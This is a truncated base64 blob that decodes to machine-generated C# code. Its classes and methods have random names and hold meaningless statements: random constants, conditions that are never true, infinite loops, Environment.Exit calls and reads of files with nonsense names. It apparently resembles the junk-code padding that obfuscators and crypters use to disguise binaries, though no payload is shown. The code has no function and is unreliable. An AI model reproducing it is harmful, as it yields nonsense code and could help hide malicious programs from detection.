IFBrVGxZcyArIDY3NjA2NjsNCn11c2hvcnQgTXdYS0JWID0gNTA4NDI7IApmbG9hdCBlWHBrWlogPSAtNi44MDg0NDhFKzI1RjsgCmZsb2F0IFFtcFZ5bCA9IDguODA5MzA0RS0yM0Y7IApzaG9ydCBKRGtVeXggPSAxNTk1MzsgCiBieXRlW10gSkRrVXl4SkRrVXl4ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJKRGtVeXgiKTtkb3VibGUgWFBSdkpmID0gLTIuMjY1NDM0RSsxNjsgCndoaWxlKFhQUnZKZiA9PSAtMy4yODAxM0UtMTIpew0KZG91YmxlIGRjTlRoID0gOC40NjkyRSsxODsNClhQUnZKZiA9IE1hdGguQ2VpbGluZyhkY05UaCk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoMy45MTQ0NjJFLTEzKTsNCn0NCn0NCn1wdWJsaWMgdm9pZCBNam9leEUoKXsNCnVpbnQgcmV0a2NvID0gMTY5MTE2ODsgCnNieXRlIHhWdmpBaSA9ICA1NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBuamZ6ZFggPSA4Mzk5MjM4OTYyNzQ5MzY4NzsgCnNieXRlIGl0VkNJQiA9ICAtMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSB6S21vaEUgPSAgMTY2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIGlkYlV5eCA9IDAuMDIzMDc4NjU7IAppZGJVeXggPSBNYXRoLkV4cCgyKTsNCkNvbnNvbGUuV3JpdGVMaW5lKGlkYlV5eC5Ub1N0cmluZygpKTsNCn1wdWJsaWMgdm9pZCBnbEdScG4oKXsNCnNieXRlIFVuQlVHQyA9ICA0MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBVUUl2bUggPSA0Njg5OyAKZG91YmxlIGtpTkJmVSA9IC03LjQyMTk4MkUtMjM7IApraU5CZlUgPSBNYXRoLkNlaWxpbmcoTWF0aC5TaW5oKC01KSk7DQpDb25zb2xlLlJlYWRLZXkoKTtkb3VibGUgZW9JdEFiID0gLTQuMDQ4MjcxRS0wNjsgCmlmKGVvSXRBYiA9PSA2LjAwMDg5NkUrMjUpew0KZW9JdEFiID0gTWF0aC5Qb3coNSwgMik7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShlb0l0QWIuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfXNieXRlIHF6ckRxTCA9ICAxMjU7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBKUm5nRVQgPSAiWmZla3FuIjsgCiBDb25zb2xlLldyaXRlTGluZShKUm5nRVQpOw0KfXB1YmxpYyB2b2lkIGdIRVRtdCgpew0Kc2J5dGUgcUlueHVvID0gIDg5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgSUZianFHID0gNDkyMDg1ODM7IAppZihJRmJqcUcgPT0gNjM4NzA1KXsNCklGYmpxRyA9IDcwODI4OTsNCn1ieXRlIHZQakNDQiA9ICAxMzE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgbmxYbmZRID0gNjQ2OTY7IApzdHJpbmcgUUlqZnJYID0gInVKeG5WUiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUUlqZnJYKTt1c2hvcnQgREt3Qk9RID0gNjM4OTY7IAoNCn1wdWJsaWMgdm9pZCBVRWF5VmQoKXsNCnVsb25nIGFBcVFIayA9IDE3MzI5OTQyMDMzNDM1MzA0OyAKZG91YmxlIE1hZkFSdyA9IDIuMTAzNjM4RS0xOTsgCmlmKE1hZkFSdyA9PSAtMi4wMzUwNjZFKzE5KXsNCk1hZkFSdyA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQppbnQ/IGN1Qkx1QmZUa3ZYbE1LbFpnY2llViA9IDc5NjIxOw0KY3VCTHVCZlRrdlhsTUtsWmdjaWVWICs9IDk4MDE5Ow0KfWZsb2F0IGpYUGdSSSA9IC0zNDUyNjU3RjsgCnN0cmluZyByQWlpdm4gPSAiV29kWWpuIjsgCiBDb25zb2xlLldyaXRlTGluZShyQWlpdm4pO2J5dGUgaGN1eXhQID0gIDE3NDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgTkhZRnBPID0gIDE4NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIFFMaFZVdigpew0KYnl0ZSBoSUR6QVAgPSAgMTUxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBVVVNLTEUgPSA4NjQ2MTA2MzsgCmludCBSQ0JBU24gPSA5NjsgCndoaWxlKFJDQkFTbiA9PSA5Nil7DQpSQ0JBU24gPSBSQ0JBU24gKyAyMjQ2OTk7DQp9aW50IGtNa1ZESiA9IDk2OTA3MDIwMjsgCmlmKGtNa1ZESiA9PSA3MTAzNSl7DQprTWtWREogPSBrTWtWREogKyA4MzUxMjQ7DQp9c2hvcnQgRnJXQkNmID0gMzM2ODsgCiBieXRlW10gRnJXQkNmRnJXQkNmID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJGcldCQ2YiKTt1c2hvcnQgdFVNWXRvID0gNjUyNjc7IAoNCn0KfSBwdWJsaWMgY2xhc3MgeUhNUUlPe3B1YmxpYyB2b2lkIGhTdkJmTCgpew0Kc3RyaW5nIE9QS2RjaCA9ICJ2dmVoT20iOyAKIENvbnNvbGUuV3JpdGVMaW5lKE9QS2RjaCk7ZmxvYXQgblRuWlFQID0gLTIuMTUxMTM0RS0yOUY7IApzaG9ydCBmU3JMY0UgPSAtMjUxOTM7IAogYnl0ZVtdIGZTckxjRWZTckxjRSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZlNyTGNFIik7c2hvcnQgWEdyc01tID0gLTI5MDM0OyAKIGJ5dGVbXSBYR3JzTW1YR3JzTW0gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlhHcnNNbSIpO2ludCBRa1B3WmkgPSAxMjAzMTc7IAp3aGlsZShRa1B3WmkgPT0gMTIwMzE3KXsNClFrUHdaaSA9IFFrUHdaaSArIDMxMTIwMDsNCn11aW50IElZYUN6RiA9IDExMDk7IAoNCn1wdWJsaWMgdm9pZCBEZFZEUkUoKXsNCmJ5dGUgWVNBZmxkID0gIDIxNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Nob3J0IHV4blpkVyA9IDQ1NDE7IAogYnl0ZVtdIHV4blpkV3V4blpkVyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygidXhuWmRXIik7c2hvcnQgRndTS3JDID0gMzAyMTU7IAogYnl0ZVtdIEZ3U0tyQ0Z3U0tyQyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiRndTS3JDIik7dXNob3J0IG9zYlZWUyA9IDU5MzcyOyAKZG91YmxlIGpyYUx5diA9IC0xLjI4ODE3OEUrMDg7IApkb3VibGUgaERRT3BxdmlQID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KanJhTHl2ID0gaERRT3BxdmlQOw0KdHJ5ew0KaW50IEZyTWJBWXlxQSA9IDgyNTgxNzY7DQppZihGck1iQVl5cUEgPT0gNDcxMzMpew0KRnJNYkFZeXFBKys7DQp9ZWxzZXsNCkZyTWJBWXlxQS0tOw0KQ29uc29sZS5Xcml0ZShGck1iQVl5cUEuVG9TdHJpbmcoKSk7DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfXNieXRlIFlWWWpEUiA9ICA1NjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgRGZtZU9GKCl7DQp1bG9uZyBDR05ZbFYgPSA3NTgyMzEyOTg2ODkxNTIwODsgCmJ5dGUgRll5cURuID0gIDE3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgUEVLWWh2ID0gMTM0OTE7IAogYnl0ZVtdIFBFS1lodlBFS1lodiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiUEVLWWh2Iik7ZmxvYXQgSmxXRFRpID0gMTc4MTk3OUY7IApkb3VibGUgS2RBVnJVID0gLTEuMjcxNTMyRSsyNzsgCmlmKEtkQVZyVSA9PSAtMi43OTc3NjdFLTA4KXsNCktkQVZyVSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1pbnQgZEVHSVB3ID0gNjE1NTsgCndoaWxlKGRFR0lQdyA9PSA2MTU1KXsNCmRFR0lQdyA9IGRFR0lQdyArIDU4ODgyOw0KfQ0KfXB1YmxpYyB2b2lkIHhQaVRVbSgpew0KZmxvYXQgeml0dHRoID0gLTEuNjMyMzUzRSswOUY7IApzYnl0ZSBuQnJkcUogPSAgLTkyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgVmVtUGhUID0gNjI7IAppZihWZW1QaFQgPT0gMzQ1NDcxKXsNClZlbVBoVCArPSAzNTMwNjI7DQp9c2J5dGUgeHFLWURaID0gIC0xMDY7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBiV1VrcWEgPSAxNjU1ODY7IApkb3VibGUgUnlCZEt4cWNaVnp0YiA9IC0xLjQwNDQ4M0UtMjA7DQpiV1VrcWEgPSBNYXRoLlJvdW5kKFJ5QmRLeHFjWlZ6dGIgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KZG91YmxlIHRUa3djQSA9IC0xLjgxNjc1MkUtMzU7IAppZih0VGt3Y0EgPT0gMi4wMTgxMzhFLTA1KXsNCnRUa3djQSA9IE1hdGguVHJ1bmNhdGUodFRrd2NBKTsNCm9iamVjdCBVbENaTGxjcEhic1BVSkZsRE11S1RVUHR2TVhpOw0KVWxDWkxsY3BIYnNQVUpGbERNdUtUVVB0dk1YaSA9IC01LjY0NzAzMUUrMzc7DQp9DQp9cHVibGljIHZvaWQgSFJzQWlzKCl7DQpzaG9ydCBRY3dGaXogPSAxNzAxOyAKIGJ5dGVbXSBRY3dGaXpRY3dGaXogPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlFjd0ZpeiIpO3VpbnQgRlRLdEJhID0gOTEyNDM2NDc1OyAKYnl0ZSBSS1JKZWEgPSAgOTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IGVDam9SdCA9IDgyMzU0NzMwNjsgCmludCBuVURsRkEgPSA5NjQ0OyAKaWYoblVEbEZBID09IDgyNzI2Mil7DQpuVURsRkEgPSBuVURsRkEgKyAxMzMwMTY7DQp9dXNob3J0IHh5U2hNZCA9IDEzMzY3OyAKDQp9cHVibGljIHZvaWQgSVFIWkllKCl7DQpkb3VibGUgRmdJQ2hTID0gMTYzLjY4OTM7IApkb3VibGUgdWlWVnhqbHdyaGt2SEhaID0gLTIuMDQ3MTUyRS0yMjsNCkZnSUNoUyA9IHVpVlZ4amx3cmhrdkhIWiAvIDM7DQpkb3VibGUgdkNZY2FrID0gMC40NTk1ODA2OyAKd2hpbGUodkNZY2FrID09IC04LjUwMzY4NkUrMDkpew0KdkNZY2FrID0gTWF0aC5Qb3coZG91YmxlLk1pblZhbHVlLCBkb3VibGUuTWF4VmFsdWUpOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9dXNob3J0IFhtYUJVaCA9IDM0NTA5OyAKYnl0ZSBzRHRlcGIgPSAgMjM4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IFlZRGpCdiA9IDk0NTMwNDg5OyAKaWYoWVlEakJ2ID09IDg2NDA2MSl7DQpZWURqQnYgPSBZWURqQnYgKyAyMzcxMDA7DQp9dWludCBIY0hTQk8gPSAxODsgCg0KfQp9IHB1YmxpYyBjbGFzcyBWR29FYmR7cHVibGljIHZvaWQgdGFncXZkKCl7DQp1bG9uZyBEQUxFRW4gPSA0ODAxNjg1NTEwODIzMTgyNTsgCnN0cmluZyBWaGprd2kgPSAiWmVNdkRoIjsgCiBDb25zb2xlLldyaXRlTGluZShWaGprd2kpO3VzaG9ydCBPWWN2UEQgPSAyMDA0NzsgCmludCBvRkJreU8gPSA1OTsgCmlmKG9GQmt5TyA9PSA2NTM2MDgpew0Kb0ZCa3lPID0gNjkwMDc2Ow0KfWJ5dGUgR3R3VVhNID0gIDQzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgUWZmWE1PID0gIC00ODsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgSHNIdXZRKCl7DQpzYnl0ZSBGQmlPcUEgPSAgMzY7IAogQ29uc29sZS5SZWFkTGluZSgpO2Zsb2F0IERoTkxxcyA9IC0wLjAwMDM1NzU0MDVGOyAKZmxvYXQgTG5mblJKID0gLTYwMDUyLjM3RjsgCmludCB2R2dOZmQgPSA5MjQyNTI5ODsgCmlmKHZHZ05mZCA9PSA2NzcxOSl7DQp2R2dOZmQgPSAyMTk0MjE7DQp9bG9uZyB0ekVRbXogPSAyMjE1NzU1NjI0NDQxNzI0NjsgCnVsb25nIHJVVWZTViA9IDMxNzcwNzQwMDYyMTkxMDMwOyAKDQp9cHVibGljIHZvaWQgaXJpYnNhKCl7DQpzYnl0ZSBpQnhjUk8gPSAgLTc2OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBiUnZCbVQgPSAtMzAyODg7IAogYnl0ZVtdIGJSdkJtVGJSdkJtVCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiYlJ2Qm1UIik7ZG91YmxlIG5YaHlOaSA9IC0yLjE4MDY5NUUtMTc7IApuWGh5TmkgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQpDb25zb2xlLldyaXRlKG5YaHlOaS5Ub1N0cmluZygpKTtsb25nIHdjdEpodyA9IDY5MDk0NDYwNTcxNDE2ODE0OyAKdWludCBpUm9rQ3EgPSA0NDY2MzA1Nzg7IApzYnl0ZSBiSHRRdFYgPSAgOTA7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIFBRV3ZWaSgpew0KdWxvbmcgQk5HcXl0ID0gMzc0MzQzOTM0ODE2MjQzMjA7IAp1bG9uZyBmQWR4QkkgPSA1MTM5NzQ3NTU1NjIyNzMwOTsgCmxvbmcgWXlHVWRHID0gODYyODExNjE3OTI1NTc5NjU7IApkb3VibGUgREx5ekRHID0gLTkuOTEzODM1RSsxOTsgCkRMeXpERyA9IE1hdGguQ2VpbGluZyhNYXRoLkF0YW4oLTUpKTsNCkNvbnNvbGUuV3JpdGUoREx5ekRHLlRvU3RyaW5nKCkpO3N0cmluZyB1QkJFZm4gPSAiQ3Zxb0ZKIjsgCiBDb25zb2xlLldyaXRlTGluZSh1QkJFZm4pO3N0cmluZyBpWkRUWnAgPSAiR01SdGdHIjsgCiBDb25zb2xlLldyaXRlTGluZShpWkRUWnApOw0KfXB1YmxpYyB2b2lkIHFHaml1aygpew0KdWxvbmcgS0xoUUNrID0gODU0NTIzOTM0NjIzNzgwNzk7IApzdHJpbmcgbEdDU0trID0gIllqYkdPUyI7IAogQ29uc29sZS5Xcml0ZUxpbmUobEdDU0trKTt1bG9uZyBHcnZPdFcgPSA4MTU3MjMyNjkzMTg0NzUyNjsgCnVsb25nIEJlU29BSyA9IDQzMzgzOTI5NTAyNzQ4MDMzOyAKc3RyaW5nIEFjT2pObSA9ICJ2VWtjVU0iOyAKIENvbnNvbGUuV3JpdGVMaW5lKEFjT2pObSk7c3RyaW5nIGlobUZuRyA9ICJJamlzT0giOyAKIENvbnNvbGUuV3JpdGVMaW5lKGlobUZuRyk7DQp9cHVibGljIHZvaWQgeXVaeWdFKCl7DQpsb25nIE9MQlhPUiA9IDg1Njc5MjQ4ODk3NTUxMjI4OyAKdXNob3J0IG1Uek1RRCA9IDEwNjg4OyAKc2J5dGUgRFd3S013ID0gIDE3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1c2hvcnQgUlVBWGtRID0gMjQxMDsgCnVzaG9ydCBwZXB4UGggPSA5NzQ3OyAKZG91YmxlIGp2eXdEbSA9IC01LjY2NTY4N0UtMjc7IAppZihqdnl3RG0gPT0gNS4zNDU5MjVFKzEwKXsNCmp2eXdEbSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoLTQuNjY1MDgyRS0zMCk7DQp9DQp9DQp9Cn0gcHVibGljIGNsYXNzIExjUXZaantwdWJsaWMgdm9pZCBJRHdLUlYoKXsNCmJ5dGUgYlZzcGpqID0gIDI1MzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBFVlFnbnEgPSAtMS4xNjE2OTFFKzE3OyAKd2hpbGUoRVZRZ25xID09IDQuOTUxNjE0RSsxMCl7DQpFVlFnbnEgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KZm9yKCA7IDspIHsNCkNvbnNvbGUuV3JpdGVMaW5lKDIuNjA3MDRFLTEyKTsNCn0NCn11c2hvcnQgR2VSTlFoID0gNjE2ODU7IAp1c2hvcnQgSVhBV3JjID0gMjIxOyAKbG9uZyBMR3lwZHAgPSAxMTM5OTE5MzAyNjA1OTg1NTsgCnNob3J0IG15ckVqdCA9IDI5OTM5OyAKIGJ5dGVbXSBteXJFanRteXJFanQgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm15ckVqdCIpOw0KfXB1YmxpYyB2b2lkIGZmWGFPVygpew0Kc2J5dGUgT3BxZ3BHID0gIC02MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBuVEpKZUsgPSA0MzQwMzM1NjEzMjI2NDA2ODsgCnVzaG9ydCBJdk9FYnQgPSA0MjYyMzsgCnN0cmluZyBHbU15aWQgPSAiQnhJUkhIIjsgCiBDb25zb2xlLldyaXRlTGluZShHbU15aWQpO3Nob3J0IG1Xa05kaiA9IC0xNTk0NzsgCiBieXRlW10gbVdrTmRqbVdrTmRqID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJtV2tOZGoiKTtzaG9ydCBPcGh1RlQgPSAyNjQ0NTsgCiBieXRlW10gT3BodUZUT3BodUZUID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJPcGh1RlQiKTsNCn1wdWJsaWMgdm9pZCBFQ0dGdnEoKXsNCnVsb25nIGJGTXBuUyA9IDUzNjc5MjA4MTY4MzI0NjA0OyAKbG9uZyBDWGV2UnggPSAzODI1OTA1MjUwMTgxNTczNjsgCmxvbmcgeUZuU1pXID0gNDkwNDA1MDAyMTQ5NDk5MjI7IAp1aW50IGVwTnBQdCA9IDI2MjgxNTU0OyAKbG9uZyBVcUdCeVkgPSA4NTIyNjQyNzUxODYzNTg0MzsgCmRvdWJsZSBaeWJBREkgPSA0LjE1MjgwM0UtMzA7IApaeWJBREkgPSBNYXRoLlBvdyg1LCAyKTsNCnRyeXsNCmludCB5TnB2dGtTY1RvdEpzID0gNzE4MDM1NDsNCmlmKHlOcHZ0a1NjVG90SnMgPT0gMzI0NjQpew0KeU5wdnRrU2NUb3RKcysrOw0KfWVsc2V7DQp5TnB2dGtTY1RvdEpzLS07DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfXB1YmxpYyB2b2lkIHdySlFRaCgpew0KaW50IE9mUHNBWSA9IDQ5Nzc3NTsgCmlmKE9mUHNBWSA9PSA0Mzk2NDkpew0KT2ZQc0FZID0gT2ZQc0FZICsgNzY0MjI0Ow0KfXNieXRlIG5VRkxkSCA9ICA0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgb1hEald5ID0gODU0NzY1OyAKaWYob1hEald5ID09IDE5ODA2MCl7DQpvWERqV3kgPSBvWERqV3kgKyA2MjU1Njg7DQp9dWxvbmcgQ1VXeHRlID0gMzkwODQ5MTQ1NzQxMTg0NDsgCnVsb25nIENsV3ltZyA9IDIxMDAzODczMTA3NTY0ODAwOyAKYnl0ZSBTa2lTWUUgPSAgNjk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBRV2NFYVAoKXsNCmxvbmcgTEtMQXF2ID0gNzc3MzU2NDE5Njc5MTQ3NTA7IAp1aW50IGRTRG9VQyA9IDQ5OTc2MjI2OyAKc2hvcnQgekZTbmxGID0gLTMxOTEyOyAKIGJ5dGVbXSB6RlNubEZ6RlNubEYgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInpGU25sRiIpO3VpbnQgcktPcXJzID0gMzY5MjsgCmxvbmcgY2R5U3JjID0gMzA3NDc0NzE2MDQzNDgyMzY7IApzaG9ydCBlWGlucWYgPSAtMjQ5MjM7IAogYnl0ZVtdIGVYaW5xZmVYaW5xZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZVhpbnFmIik7DQp9cHVibGljIHZvaWQgRlFZZGFuKCl7DQppbnQgRFpObUFDID0gNTc7IAppZihEWk5tQUMgPT0gMTQxODczKXsNCkRaTm1BQyArPSA0MjE0ODE7DQp9dWludCB1RVdKR3AgPSA2ODc3MTI7IApsb25nIEFQUWZwSCA9IDc3NzkzNTQ5MTE5MDUwNTAxOyAKdWxvbmcgcWNqTGd5ID0gODY3MzE5NTA5MTMxNzk3OTc7IAppbnQgQUZvZ3JRID0gNzIzNzEzNDg7IAppZihBRm9nclEgPT0gMTAxMDcwKXsNCkFGb2dyUSA9IEFGb2dyUSArIDEyMDA1NjsNCn1ieXRlIG9lbXVFbSA9ICA5NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IHB1YmxpYyBjbGFzcyBhSElYQ3R7cHVibGljIHZvaWQgVXpib1NpKCl7DQp1aW50IGN3U2J1SSA9IDk2OyAKZG91YmxlIGNkR0pYRCA9IDQuODkwODE2RSszNTsgCmNkR0pYRCA9IE1hdGguU3FydCg0KTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1zdHJpbmcgaEVWWEtDID0gIm9Xd3p4YSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoaEVWWEtDKTtieXRlIGJRU1FVQiA9ICA5NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIGh2b0pqViA9IDc2NjU0MTk4NDA1MDEwNjk3OyAKc2J5dGUgSlZiQ0hDID0gIC00NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgUUZ3bGpQKCl7DQpmbG9hdCBUUkFGZUUgPSAyLjQxNzUxN0UtMTJGOyAKdWludCBTVGdRWVEgPSA2NzM2OyAKc2hvcnQgY01nQ0VJID0gMjk3MTsgCiBieXRlW10gY01nQ0VJY01nQ0VJID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJjTWdDRUkiKTtzaG9ydCBqYURBVmYgPSAtMTA3NjM7IAogYnl0ZVtdIGphREFWZmphREFWZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiamFEQVZmIik7ZmxvYXQgVG5Ddlp4ID0gLTguNzUwMDY0RSsxOEY7IApkb3VibGUgbEZHdHJFID0gLTIuMzEyODY7IAppZihsRkd0ckUgPT0gMy4xNjAzMjZFLTM0KXsNCmRvdWJsZSBRWm5RZkJYcUdFaklmSkRoUEZBb2YgPSBNYXRoLkxvZygxMDAwLCAxMCk7DQpsRkd0ckUgPSBRWm5RZkJYcUdFaklmSkRoUEZBb2Y7DQp0cnl7DQppbnQgWmdvR3NrZWx4ekdHdkxxbnZsUlB2V3JSVyA9IDI2ODA2NDQ7DQppZihaZ29Hc2tlbHh6R0d2THFudmxSUHZXclJXID09IDE1MjMzKXsNClpnb0dza2VseHpHR3ZMcW52bFJQdldyUlcrKzsNCn1lbHNlew0KWmdvR3NrZWx4ekdHdkxxbnZsUlB2V3JSVy0tOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn0NCn1wdWJsaWMgdm9pZCBLbUpRemwoKXsNCnNob3J0IGlHRW1XbiA9IDE2OTg2OyAKIGJ5dGVbXSBpR0VtV25pR0VtV24gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImlHRW1XbiIpO3NieXRlIG1YSmd0UCA9ICA5MTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgeHJzenFNID0gMC4wMTQ3MTIwMkY7IApmbG9hdCBCdGFhd1QgPSAtMi4zMDIxMjhFLTM4RjsgCnNob3J0IG5BZUNYYiA9IDIxODEzOyAKIGJ5dGVbXSBuQWVDWGJuQWVDWGIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm5BZUNYYiIpO3VzaG9ydCBCQXhXbEEgPSA1Nzg0ODsgCg0KfXB1YmxpYyB2b2lkIGdSdGtwTygpew0Kc2hvcnQgc0puZERnID0gLTE2NzQ0OyAKIGJ5dGVbXSBzSm5kRGdzSm5kRGcgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInNKbmREZyIpO3VpbnQgV0VueG5sID0gNzIyOTk1NzE7IAp1bG9uZyBoZFhPVWUgPSAzNDExNzU3NjA5MjAzODAzNjsgCnNieXRlIFpkU3JLeiA9ICAtODU7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIGxxUmVUTyA9IDc3MTMzNTIxOTIyMTk1MTc5OyAKZG91YmxlIGpTSlVvdCA9IC0xLjM3MzE4NUUtMDg7IAppZihqU0pVb3QgPT0gOS41NDgwMDUpew0KalNKVW90ID0gTWF0aC5Qb3coNSwgMik7DQpvYmplY3Qgc0pDeVN1SXR6SEZLZ2VveHRQbXZIS0N0Ow0Kc0pDeVN1SXR6SEZLZ2VveHRQbXZIS0N0ID0gLTUuNTUxODVFLTA1Ow0KfQ0KfXB1YmxpYyB2b2lkIFpFZG9rSigpew0KZG91YmxlIGxGUXBWViA9IC05LjM1NzUwOEUrMTU7IApsRlFwVlYgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQp1c2hvcnQgRElEZW9jID0gMTQ5ODE7IApsb25nIEl4Z1JTWSA9IDQ4Mzk5NjA3MDUxNTMwMTE5OyAKc3RyaW5nIEt2RnZpRCA9ICJDd2lyaGMiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEt2RnZpRCk7dWxvbmcgaUZsQ0N5ID0gMzgzMTYxMTQ0MzI3MjgwMTY7IAp1aW50IG1mdGFWaCA9IDMyNjsgCg0KfXB1YmxpYyB2b2lkIFFSV1hJTSgpew0KdWludCBRYnBNZ3kgPSA5NDsgCnNob3J0IGJ5c1NleCA9IC0xMzU2MDsgCiBieXRlW10gYnlzU2V4YnlzU2V4ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJieXNTZXgiKTtsb25nIFVUR3lVbyA9IDcyMTQ1OTE5MDc2MzY1MjUxOyAKaW50IG5GcktnayA9IDU1NTsgCndoaWxlKG5GcktnayA9PSA1NTUpew0KbkZyS2drID0gbkZyS2drICsgNTU2NzEzOw0KfWRvdWJsZSBySWZJYlkgPSAtNC4wMTgyNzJFLTI2OyAKd2hpbGUocklmSWJZID09IC0xLjg2NTEyNEUrMjIpew0KcklmSWJZID0gTWF0aC5Qb3coNSwgMik7DQpDb25zb2xlLldyaXRlTGluZShySWZJYlkuVG9TdHJpbmcoKSk7DQp9ZG91YmxlIGVlaEliQSA9IC0yLjg0NDc0NEUtMDk7IAplZWhJYkEgPSBNYXRoLlRydW5jYXRlKGVlaEliQSk7DQppbnQ/IE1xUEt2WXdXUkggPSAzNzI4OTQ1Ow0KTXFQS3ZZd1dSSCArPSA4NjkyNjsNCn0KfSBwdWJsaWMgY2xhc3Mgc2lvUU50e3B1YmxpYyB2b2lkIHNCRkREWigpew0KaW50IERoV1FLTyA9IDc4Mjc1MDQzOyAKaWYoRGhXUUtPID09IDYzNzA2NSl7DQpEaFdRS08gKz0gMjEyNzcyOw0KfWludCBibGRkTFYgPSA3NDM4MzE3MDA7IAp3aGlsZShibGRkTFYgPT0gNzQzODMxNzAwKXsNCmJsZGRMViA9IGJsZGRMViArIDk3OTI5NjsNCn11c2hvcnQgQ1Bia1pTID0gMjc2NDc7IAp1c2hvcnQga1ZrcmJpID0gNDkwMzA7IApkb3VibGUgUnlDaVFoID0gMi4wNTg3OTNFKzMzOyAKaWYoUnlDaVFoID09IDIuNTUyMzYxRSsxMCl7DQpSeUNpUWggPSBNYXRoLkNlaWxpbmcoTWF0aC5BdGFuKC01KSk7DQpDb25zb2xlLldyaXRlTGluZShSeUNpUWguVG9TdHJpbmcoKSk7DQp9dXNob3J0IFB4eWJKdiA9IDE5MDA1OyAKDQp9cHVibGljIHZvaWQgeXZRZFF5KCl7DQpzdHJpbmcgSWVBSVJkID0gIklSZWF3USI7IAogQ29uc29sZS5Xcml0ZUxpbmUoSWVBSVJkKTtieXRlIHRzcEtzQiA9ICA2MTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBuTWVmS0wgPSAtMi41MDgxMjRFLTA4OyAKZG91YmxlIHpvZGRDID